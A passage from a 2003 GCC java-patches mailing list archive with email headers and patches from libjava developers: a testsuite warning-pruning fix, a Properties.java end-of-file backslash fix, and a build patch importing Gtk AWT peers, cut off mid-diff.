contributions like the C++ parser or PCH, items relvant from a GCC "marketing" point of view...) and smaller items, and I don't have a good idea how to do that properly. Suggestions welcome! Gerald -- Gerald "Jerry" pfeifer@dbai.tuwien.ac.at http://www.pfeifer.com/gerald/ From java-patches-return-5983-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 16:46:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16665 invoked by alias); 31 Jan 2003 16:46:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16633 invoked from network); 31 Jan 2003 16:46:18 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 31 Jan 2003 16:46:18 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18eeIh-00083R-00; Fri, 31 Jan 2003 17:45:59 +0100 Subject: Re: Mauve harness failure on s390 From: Mark Wielaard To: tromey@redhat.com, java-patches@gcc.gnu.org Cc: Ulrich Weigand , raif@fl.net.au, java@gcc.gnu.org In-Reply-To: <87ptqd2tj6.fsf@fleche.redhat.com> References: <200301311508.QAA05916@faui11.informatik.uni-erlangen.de> <1044027711.2523.166.camel@elsschot> <87ptqd2tj6.fsf@fleche.redhat.com> Content-Type: multipart/mixed; boundary="=-qqNDOCJg5KHXC0VpXbVl" Organization: Message-Id: <1044031569.2522.174.camel@elsschot> Mime-Version: 1.0 Date: 31 Jan 2003 17:46:09 +0100 --=-qqNDOCJg5KHXC0VpXbVl Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, On Fri, 2003-01-31 at 17:06, Tom Tromey wrote: > Yeah, it is hard to do the pruning correctly. I still wish we'd put > in a new gcj flag instead. > > This is on my list of things to fix in the near future. But if > someone else wants to fix it, feel free. How does this look. 2003-01-31 Mark Wielaard * lib/libjava.exp (libjava_prune_warnings): Remove all unreachable bytecode warnings. OK for branch and mainline? Cheers, Mark --=-qqNDOCJg5KHXC0VpXbVl Content-Disposition: inline; filename=exp.diff Content-Type: text/x-patch; name=exp.diff; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: lib/libjava.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/lib/libjava.exp,v retrieving revision 1.47 diff -u -r1.47 libjava.exp --- lib/libjava.exp 13 Jan 2003 00:22:19 -0000 1.47 +++ lib/libjava.exp 31 Jan 2003 16:45:04 -0000 @@ -18,9 +18,15 @@ set len [llength $tlist] for {set i [expr {$len - 1}]} {$i >= 2} {incr i -1} { if {[string match "*unreachable bytecode*" [lindex $tlist $i]]} { - # Delete this line and the previous two lines. - set tlist [lreplace $tlist [expr {$i - 2}] $i] - incr i -2 + # Delete this line, all other unreachable warnings and the previous + # two lines containing the method and class. + set j [expr {$i - 1}] + while {[string match "*unreachable bytecode*" [lindex $tlist $j]]} { + incr j -1 + } + incr j -1 + set tlist [lreplace $tlist $j $i] + set i $j } } return [join $tlist \n] --=-qqNDOCJg5KHXC0VpXbVl-- From java-patches-return-5984-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 16:53:48 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21389 invoked by alias); 31 Jan 2003 16:53:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21369 invoked from network); 31 Jan 2003 16:53:47 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 16:53:47 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA19822; Fri, 31 Jan 2003 09:53:43 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 4C61B4F8080; Fri, 31 Jan 2003 09:42:48 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org, Ulrich Weigand , raif@fl.net.au, java@gcc.gnu.org Subject: Re: Mauve harness failure on s390 References: <200301311508.QAA05916@faui11.informatik.uni-erlangen.de> <1044027711.2523.166.camel@elsschot> <87ptqd2tj6.fsf@fleche.redhat.com> <1044031569.2522.174.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm definitely not in Omaha! Date: 31 Jan 2003 09:42:47 -0700 In-Reply-To: <1044031569.2522.174.camel@elsschot> Message-ID: <87adhh2rug.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> 2003-01-31 Mark Wielaard Mark> * lib/libjava.exp (libjava_prune_warnings): Remove all unreachable Mark> bytecode warnings. Mark> OK for branch and mainline? Yes. You rock, thanks. Tom From java-patches-return-5985-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 16:56:55 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 27215 invoked by alias); 31 Jan 2003 16:56:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 27208 invoked from network); 31 Jan 2003 16:56:54 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 16:56:54 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA20630; Fri, 31 Jan 2003 09:56:53 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D0B574F8080; Fri, 31 Jan 2003 09:46:01 -0700 (MST) To: Java Patch List Subject: Patch: FYI: Properties fixlet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: BEEP-BEEP!! I'm a '49 STUDEBAKER!! Date: 31 Jan 2003 09:46:01 -0700 Message-ID: <874r7p2rp2.fsf@fleche.redhat.com> Lines: 39 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii This came across the Classpath list recently. I'm checking it in to the trunk and the 3.3 branch. Tom Index: ChangeLog from Julian Dolby * java/util/Properties.java (load): Ignore backslash before EOF. Index: java/util/Properties.java =================================================================== RCS file: /cvsroot/classpath/classpath/java/util/Properties.java,v retrieving revision 1.20 diff -u -r1.20 Properties.java --- java/util/Properties.java 24 Dec 2002 23:37:45 -0000 1.20 +++ java/util/Properties.java 31 Jan 2003 06:09:15 -0000 @@ -1,5 +1,5 @@ /* Properties.java -- a set of persistent properties - Copyright (C) 1998, 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -271,6 +271,13 @@ { // The line continues on the next line. line = reader.readLine(); + + // We might have seen a backslash at the end of + // the file. The JDK ignores the backslash in + // this case, so we follow for compatibility. + if (line == null) + break; + pos = 0; while (pos < line.length() && Character.isWhitespace(c = line.charAt(pos))) From java-patches-return-5986-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 31 17:52:10 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28917 invoked by alias); 31 Jan 2003 17:52:09 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28881 invoked from network); 31 Jan 2003 17:52:08 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 31 Jan 2003 17:52:08 -0000 Received: from fleche.redhat.com (tq0109.peakpeak.com [207.174.177.109]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA02103; Fri, 31 Jan 2003 10:52:03 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 24EAC4F8080; Fri, 31 Jan 2003 10:40:57 -0700 (MST) To: Java Patch List Subject: Patch: FYI: Import AWT peers From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Hey, LOOK!! A pair of SIZE 9 CAPRI PANTS!! They probably belong to SAMMY DAVIS, JR.!! Date: 31 Jan 2003 10:40:56 -0700 Message-ID: <87u1fp1al3.fsf@fleche.redhat.com> Lines: 525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in on the trunk only. This patch pulls in the Gtk AWT peers and adds the configure and build support for them. I haven't included the new files in the appended patch. The default AWT peer toolkit is now specified at configure time; it is the first toolkit passed to --enable-java-awt. Any number of peers can be built in one tree, but only one will be the default. So, for instance, I now configure with `--enable-java-awt=gtk', and the Gtk toolkit is the default one. Currently the only available peers are `xlib' and `gtk'. You can pass multiple values to --enable-java-awt by separating them with commas. There is a `TestAWT.java' file in the tree that you can use to try things out. I compile it with `gcj -C' and run it with gij. With this you can see how well or poorly we do (some parts work fine, other parts not so fine). Hopefully now that this is in the tree more people will be inspired to work on AWT. It has never been easier! Tom Index: ChangeLog from Tom Tromey * java/awt/Window.java (Window(Window,GraphicsConfiguration)): Don't try to find graphics configuration. * java/awt/Toolkit.java (default_toolkit_name): Use new Configuration entry. * gnu/classpath/Configuration.java.in (default_awt_peer_toolkit): New global. * configure: Rebuilt. * configure.in (TOOLKIT): New subst. (--enable-java-awt) [xlib, gtk]: Set TOOLKIT if required. Do AWT tests much earlier. Run Gtk tests. Make jniinclude directory. Make output directories for .c files. * Makefile.in: Rebuilt. * Makefile.am (lib_gnu_java_awt_peer_gtk_la_SOURCES): New macro. (toolexeclib_LTLIBRARIES): Added cond_gtk_ltlibrary. (all_java_source_files): Added new sources. ($(lib_gnu_java_awt_peer_gtk_la_OBJECTS)): New target. (gtk_c_files): New macro. (gtk_c_source_files): New macro. (cond_gtk_ltlibrary): New macro. ($(gtk_c_files)): New target. (lib_gnu_java_awt_peer_gtk_la_LIBADD): New macro. (gtk_awt_peer_sources): New macro. (gtk_c_headers): New macro. ($(gtk_c_headers)): New target. (ACLOCAL_AMFLAGS): New macro. * gtk.m4, glib.m4, libart.m4: New files. * gnu/java/awt/peer/gtk/GdkFontMetrics.java, gnu/java/awt/peer/gtk/GdkGraphics.java, gnu/java/awt/peer/gtk/GtkArg.java, gnu/java/awt/peer/gtk/GtkArgList.java, gnu/java/awt/peer/gtk/GtkButtonPeer.java, gnu/java/awt/peer/gtk/GtkCanvasPeer.java, gnu/java/awt/peer/gtk/GtkCheckboxGroupPeer.java, gnu/java/awt/peer/gtk/GtkCheckboxMenuItemPeer.java, gnu/java/awt/peer/gtk/GtkCheckboxPeer.java, gnu/java/awt/peer/gtk/GtkChoicePeer.java, gnu/java/awt/peer/gtk/GtkClipboard.java, gnu/java/awt/peer/gtk/GtkComponentPeer.java, gnu/java/awt/peer/gtk/GtkContainerPeer.java, gnu/java/awt/peer/gtk/GtkDialogPeer.java, gnu/java/awt/peer/gtk/GtkFileDialogPeer.java, gnu/java/awt/peer/gtk/GtkFontPeer.java, gnu/java/awt/peer/gtk/GtkFramePeer.java, gnu/java/awt/peer/gtk/GtkGenericPeer.java, gnu/java/awt/peer/gtk/GtkImage.java, gnu/java/awt/peer/gtk/GtkImagePainter.java, gnu/java/awt/peer/gtk/GtkLabelPeer.java, gnu/java/awt/peer/gtk/GtkListPeer.java, gnu/java/awt/peer/gtk/GtkMainThread.java, gnu/java/awt/peer/gtk/GtkMenuBarPeer.java, gnu/java/awt/peer/gtk/GtkMenuComponentPeer.java, gnu/java/awt/peer/gtk/GtkMenuItemPeer.java, gnu/java/awt/peer/gtk/GtkMenuPeer.java, gnu/java/awt/peer/gtk/GtkOffScreenImage.java, gnu/java/awt/peer/gtk/GtkPanelPeer.java, gnu/java/awt/peer/gtk/GtkPopupMenuPeer.java, gnu/java/awt/peer/gtk/GtkScrollbarPeer.java, gnu/java/awt/peer/gtk/GtkScrollPanePeer.java, gnu/java/awt/peer/gtk/GtkTextAreaPeer.java, gnu/java/awt/peer/gtk/GtkTextComponentPeer.java, gnu/java/awt/peer/gtk/GtkTextFieldPeer.java, gnu/java/awt/peer/gtk/GtkToolkit.java, gnu/java/awt/peer/gtk/GtkWindowPeer.java, gnu/java/awt/peer/gtk/TestAWT.java, gnu/java/awt/peer/gtk/Test.java: New files from Classpath. * jni/gtk-peer/gnu_java_awt_peer_gtk_GdkFontMetrics.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GdkGraphics.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkCanvasPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkCheckboxMenuItemPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkCheckboxPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkChoicePeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkClipboard.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkComponentPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkEvents.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkFileDialogPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkImagePainter.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkLabelPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkListPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkMainThread.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkMenuBarPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkMenuItemPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkMenuPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkPanelPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkPopupMenuPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollPanePeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextComponentPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkToolkit.c, jni/gtk-peer/gnu_java_awt_peer_gtk_GtkWindowPeer.c, jni/gtk-peer/gthread-jni.c, jni/gtk-peer/gthread-jni.h, jni/gtk-peer/gtkpeer.h, jni/classpath/jcl.c, jni/classpath/jcl.h, jni/classpath/jnilink.c, jni/classpath/jnilink.h, jni/classpath/native_state.c, jni/classpath/native_state.h, jni/classpath/primlib.c, jni/classpath/primlib.h: Likewise. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.270 diff -u -r1.270 Makefile.am --- Makefile.am 28 Jan 2003 01:44:58 -0000 1.270 +++ Makefile.am 31 Jan 2003 17:17:40 -0000 @@ -2,6 +2,8 @@ AUTOMAKE_OPTIONS = foreign +ACLOCAL_AMFLAGS = -I . + if TESTSUBDIR SUBDIRS = $(DIRLTDL) testsuite gcj include else @@ -23,7 +25,14 @@ xlib_includes = endif -toolexeclib_LTLIBRARIES = libgcj.la lib-org-xml-sax.la lib-org-w3c-dom.la $(cond_x_ltlibrary) +if GTK_AWT +cond_gtk_ltlibrary = lib-gnu-java-awt-peer-gtk.la +else +cond_gtk_ltlibrary = +endif + +toolexeclib_LTLIBRARIES = libgcj.la lib-org-xml-sax.la lib-org-w3c-dom.la \ + $(cond_gtk_ltlibrary) $(cond_x_ltlibrary) toolexecmainlib_DATA = libgcj.spec jardir = $(datadir)/java @@ -115,6 +124,8 @@ x_nat_files = $(x_nat_source_files:.cc=.lo) ## Objects from C sources in subdirs. c_files = $(c_source_files:.c=.lo) +## Objects from gtk-related C sources in subdirs. +gtk_c_files = $(gtk_c_source_files:.c=.lo) ## Objects from Java sources in subdirs. javao_files = $(java_source_files:.java=.lo) \ $(built_java_source_files:.java=.lo) @@ -140,6 +151,102 @@ -version-info `grep -v '^\#' $(srcdir)/libtool-version` libgcj_la_LINK = $(LIBLINK) +## Gtk JNI sources. +gtk_c_source_files = \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GdkFontMetrics.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GdkGraphics.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkCanvasPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkCheckboxMenuItemPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkCheckboxPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkChoicePeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkClipboard.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkComponentPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkEvents.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkFileDialogPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkImagePainter.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkLabelPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkListPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkMainThread.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkMenuBarPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkMenuItemPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkMenuPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkPanelPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkPopupMenuPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollPanePeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextComponentPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkToolkit.c \ +jni/gtk-peer/gnu_java_awt_peer_gtk_GtkWindowPeer.c \ +jni/gtk-peer/gthread-jni.c \ +jni/classpath/jcl.c \ +jni/classpath/jnilink.c \ +jni/classpath/native_state.c \ +jni/classpath/primlib.c + +## Java sources for Gtk peers. +gtk_awt_peer_sources = \ +gnu/java/awt/peer/gtk/GdkFontMetrics.java \ +gnu/java/awt/peer/gtk/GdkGraphics.java \ +gnu/java/awt/peer/gtk/GtkArg.java \ +gnu/java/awt/peer/gtk/GtkArgList.java \ +gnu/java/awt/peer/gtk/GtkButtonPeer.java \ +gnu/java/awt/peer/gtk/GtkCanvasPeer.java \ +gnu/java/awt/peer/gtk/GtkCheckboxGroupPeer.java \ +gnu/java/awt/peer/gtk/GtkCheckboxMenuItemPeer.java \ +gnu/java/awt/peer/gtk/GtkCheckboxPeer.java \ +gnu/java/awt/peer/gtk/GtkChoicePeer.java \ +gnu/java/awt/peer/gtk/GtkClipboard.java \ +gnu/java/awt/peer/gtk/GtkComponentPeer.java \ +gnu/java/awt/peer/gtk/GtkContainerPeer.java \ +gnu/java/awt/peer/gtk/GtkDialogPeer.java \ +gnu/java/awt/peer/gtk/GtkFileDialogPeer.java \ +gnu/java/awt/peer/gtk/GtkFontPeer.java \ +gnu/java/awt/peer/gtk/GtkFramePeer.java \ +gnu/java/awt/peer/gtk/GtkGenericPeer.java \ +gnu/java/awt/peer/gtk/GtkImage.java \ +gnu/java/awt/peer/gtk/GtkImagePainter.java \ +gnu/java/awt/peer/gtk/GtkLabelPeer.java \ +gnu/java/awt/peer/gtk/GtkListPeer.java \ +gnu/java/awt/peer/gtk/GtkMainThread.java \ +gnu/java/awt/peer/gtk/GtkMenuBarPeer.java \ +gnu/java/awt/peer/gtk/GtkMenuComponentPeer.java \ +gnu/java/awt/peer/gtk/GtkMenuItemPeer.java \ +gnu/java/awt/peer/gtk/GtkMenuPeer.java \ +gnu/java/awt/peer/gtk/GtkOffScreenImage.java \ +gnu/java/awt/peer/gtk/GtkPanelPeer.java \ +gnu/java/awt/peer/gtk/GtkPopupMenuPeer.java \ +gnu/java/awt/peer/gtk/GtkScrollPanePeer.java \ +gnu/java/awt/peer/gtk/GtkScrollbarPeer.java \ +gnu/java/awt/peer/gtk/GtkTextAreaPeer.java \ +gnu/java/awt/peer/gtk/GtkTextComponentPeer.java \ +gnu/java/awt/peer/gtk/GtkTextFieldPeer.java \ +gnu/java/awt/peer/gtk/GtkToolkit.java \ +gnu/java/awt/peer/gtk/GtkWindowPeer.java + +## FIXME: GNU make. +gtk_c_headers = $(patsubst %.java,jniinclude/%.h,$(subst /,_,$(gtk_awt_peer_sources))) + +$(gtk_c_headers): $(gtk_awt_peer_sources) +## FIXME: GNU make. + @input=`echo $@ | sed -e 's,jniinclude,,' -e 's,_,.,g' -e 's,.h$$,,'`; \ + echo "$(GCJH) -jni -d jniinclude -classpath '' -bootclasspath $(top_builddir) $$input"; \ + $(GCJH) -jni -d jniinclude -classpath '' -bootclasspath $(top_builddir) $$input + +lib_gnu_java_awt_peer_gtk_la_SOURCES = \ +$(gtk_awt_peer_sources) \ +$(gtk_c_source_files) \ +jni/gtk-peer/gthread-jni.h \ +jni/gtk-peer/gtkpeer.h \ +jni/classpath/jcl.h \ +jni/classpath/jnilink.h \ +jni/classpath/native_state.h \ +jni/classpath/primlib.h + +lib_gnu_java_awt_peer_gtk_la_LIBADD = $(GTK_LIBS) $(GLIB_LIBS) $(LIBART_LIBS) + lib_org_w3c_dom_la_SOURCES = org/w3c/dom/Attr.java \ org/w3c/dom/CDATASection.java \ org/w3c/dom/CharacterData.java \ @@ -220,6 +327,7 @@ $(built_java_source_files) \ $(lib_org_xml_sax_la_SOURCES) \ $(lib_org_w3c_dom_la_SOURCES) \ + $(gtk_awt_peer_sources) \ $(x_java_source_files) all_java_class_files = $(all_java_source_files:.java=.class) @@ -270,8 +378,17 @@ $(c_files): java/lang/fdlibm.h java/lang/ieeefp.h java/lang/mprec.h ## FIXME: GNU make. +$(gtk_c_files): %.lo: %.c + $(LTCOMPILE) -c -Ijniinclude -I$(srcdir)/jni/classpath -I$(srcdir)/jni/gtk-peer $(GTK_CFLAGS) $(LIBART_CFLAGS) -o $@ $< + +$(gtk_c_files): $(gtk_c_headers) + +## FIXME: GNU make. $(javao_files) $(x_javao_files) $(lib_org_w3c_dom_la_OBJECTS) $(lib_org_xml_sax_la_OBJECTS): %.lo: %.java $(GCJCOMPILE) -o $@ $< + +$(gtk_awt_peer_sources:.java=.lo): %.lo: %.java + $(GCJCOMPILE) -fjni -o $@ $< ## Pass the list of object files to libtool in a temporary file to ## avoid tripping platform command line length limits. Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.146 diff -u -r1.146 configure.in --- configure.in 28 Jan 2003 19:10:00 -0000 1.146 +++ configure.in 31 Jan 2003 17:17:51 -0000 @@ -289,6 +289,59 @@ ZLIBTESTSPEC= AC_SUBST(ZLIBTESTSPEC) +AC_PATH_XTRA + +dnl Determine which AWT peer libraries to build +AC_ARG_ENABLE(java-awt, +[ --enable-java-awt list of AWT peer implementations to be built]) + +peerlibs="`echo ${enable_java_awt} | tr ',' ' '`" +use_xlib_awt="" +use_gtk_awt="" +# The default toolkit to use is the first one specified. +TOOLKIT= +AC_SUBST(TOOLKIT) + +for peer in $peerlibs ; do + case $peer in + xlib) + if test "$no_x" = yes; then + echo "*** xlib peers requested but no X library available" 1>&2 + exit 1 + else + use_xlib_awt="yes" + if test -z "$TOOLKIT"; then + TOOLKIT=gnu.gnu.awt.xlib.XToolkit + fi + fi + ;; + gtk) + if test "$no_x" = yes; then + echo "*** xlib peers requested but no X library available" 1>&2 + exit 1 + else + use_gtk_awt=yes + if test -z "$TOOLKIT"; then + TOOLKIT=gnu.java.awt.peer.gtk.GtkToolkit + fi + test -d jniinclude || mkdir jniinclude + fi + ;; + no) + use_xlib_awt= + use_gtk_awt= + break + ;; + *) + echo "*** unrecognised argument \"${peer}\" for --enable-java-awt" 1>&2 + exit 1 + esac +done + +AM_CONDITIONAL(XLIB_AWT, test "$use_xlib_awt" = yes) +AM_CONDITIONAL(GTK_AWT, test "$use_gtk_awt" = yes) + + dnl FIXME: this should be _libs on some hosts. libsubdir=.libs @@ -721,6 +774,15 @@ AC_CHECK_LIB(z, deflate, ZLIBSPEC=-lz, ZLIBSPEC=) fi + # Test for Gtk stuff, if asked for. + if test "$use_gtk_awt" = yes; then + AM_PATH_GTK(1.2.4,,exit 1) + AM_PATH_GLIB(1.2.4,,exit 1,gthread) + dnl XXX Fix me when libart.m4 has the compile test fixed! + enable_libarttest=no + AM_PATH_LIBART(2.1.0,,exit 1) + fi + # On Solaris, and maybe other architectures, the Boehm collector # requires -ldl. if test "$GC" = boehm; then @@ -757,7 +819,8 @@ if test ! -f gnu/classpath/Configuration.java; then test -d gnu || mkdir gnu test -d gnu/classpath || mkdir gnu/classpath - sed 's,@LIBGCJDEBUG@,$LIBGCJDEBUG,' \ + sed -e 's,@LIBGCJDEBUG@,$LIBGCJDEBUG,' \ + -e 's,@TOOLKIT@,$TOOLKIT,' \ < $srcdir/gnu/classpath/Configuration.java.in \ > gnu/classpath/Configuration.java # We do not want to redirect the output of the grep below to /dev/null, @@ -966,42 +1029,6 @@ multilib_arg= fi -AC_PATH_XTRA - -dnl Determine which AWT peer libraries to build -AC_ARG_ENABLE(java-awt, -[ --enable-java-awt list of AWT peer implementations to be built]) - -peerlibs="`echo ${enable_java_awt} | tr ',' ' '`" -use_xlib_awt="" -use_gtk_awt="" - -for peer in $peerlibs ; do - case $peer in - xlib) - if [test "$no_x" = yes]; then - echo "*** xlib peers requested but no X library available" 1>&2 - exit 1 - else - use_xlib_awt="yes" - fi - ;; - gtk) - # Nothing, yet... - ;; - no) - use_xlib_awt= - use_gtk_awt= - break - ;; - *) - echo "*** unrecognised argument \"${peer}\" for --enable-java-awt" 1>&2 - exit 1 - esac -done - -AM_CONDITIONAL(XLIB_AWT, test "$use_xlib_awt" = yes) -AM_CONDITIONAL(GTK_AWT, test "$use_gtk_awt" = yes) here=`${PWDCMD-pwd}` @@ -1023,10 +1050,10 @@ # builddir for the .java files. h=`${PWDCMD-pwd}` : > deps.mk -( (cd $srcdir && find . \( -name '*.java' -o -name '*.cc' \) -print) ; - find . \( -name '*.java' -o -name '*.cc' \) -print) | \ +( (cd $srcdir && find . \( -name '*.java' -o -name '*.cc' -o -name '*.c' \) -print) ; + find . \( -name '*.java' -o -name '*.cc' -o -name '*.c' \) -print) | \ fgrep -v testsuite | \ - sed -e 's/\.java/.d/'\;'s/\.cc/.d/' | \ + sed -e 's/\.java/.d/'\;'s/\.cc/.d/'\;'s/\.c/.d/' | \ while read f; do echo "include $f" >> deps.mk test -f $f || { Index: gnu/classpath/Configuration.java.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/classpath/Configuration.java.in,v retrieving revision 1.4 diff -u -r1.4 Configuration.java.in --- gnu/classpath/Configuration.java.in 30 Sep 2002 05:19:08 -0000 1.4 +++ gnu/classpath/Configuration.java.in 31 Jan 2003 17:17:52 -0000 @@ -1,5 +1,5 @@ /* gnu.classpath.Configuration - Copyright (C) 1998, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -56,4 +56,7 @@ boolean HAVE_NATIVE_GET_PROXY_DATA = false; boolean HAVE_NATIVE_GET_PROXY_CLASS = false; boolean HAVE_NATIVE_GENERATE_PROXY_CLASS = false; + + // Name of default AWT peer library. + String default_awt_peer_toolkit = "@TOOLKIT@"; } Index: java/awt/Toolkit.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Toolkit.java,v retrieving revision 1.18 diff -u -r1.18 Toolkit.java --- java/awt/Toolkit.java 14 Jan 2003 21:21:32 -0000 1.18 +++ java/awt/Toolkit.java 31 Jan 2003 17:17:56 -0000 @@ -1,5 +1,5 @@ /* Toolkit.java -- AWT Toolkit superclass - Copyright (C) 1999, 2000, 2001, 2002 Free Software Foundation, Inc. + Copyright (C) 1999, 2000, 2001, 2002, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -96,7 +96,7 @@ { /** The default toolkit name. */ private static String default_toolkit_name - = "gnu.awt.gtk.GtkToolkit"; + = gnu.classpath.Configuration.default_awt_peer_toolkit; /** * The toolkit in use. Once we load it, we don't ever change it Index: java/awt/Window.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Window.java,v retrieving revision 1.15 diff -u -r1.15 Window.java --- java/awt/Window.java 14 Jan 2003 21:21:33 -0000 1.15 +++ java/awt/Window.java 31 Jan 2003 17:17:56 -0000 @@ -1,5 +1,5 @@ /* Window.java -- - Copyright (C) 1999, 2000, 2002 Free Software Foundation + 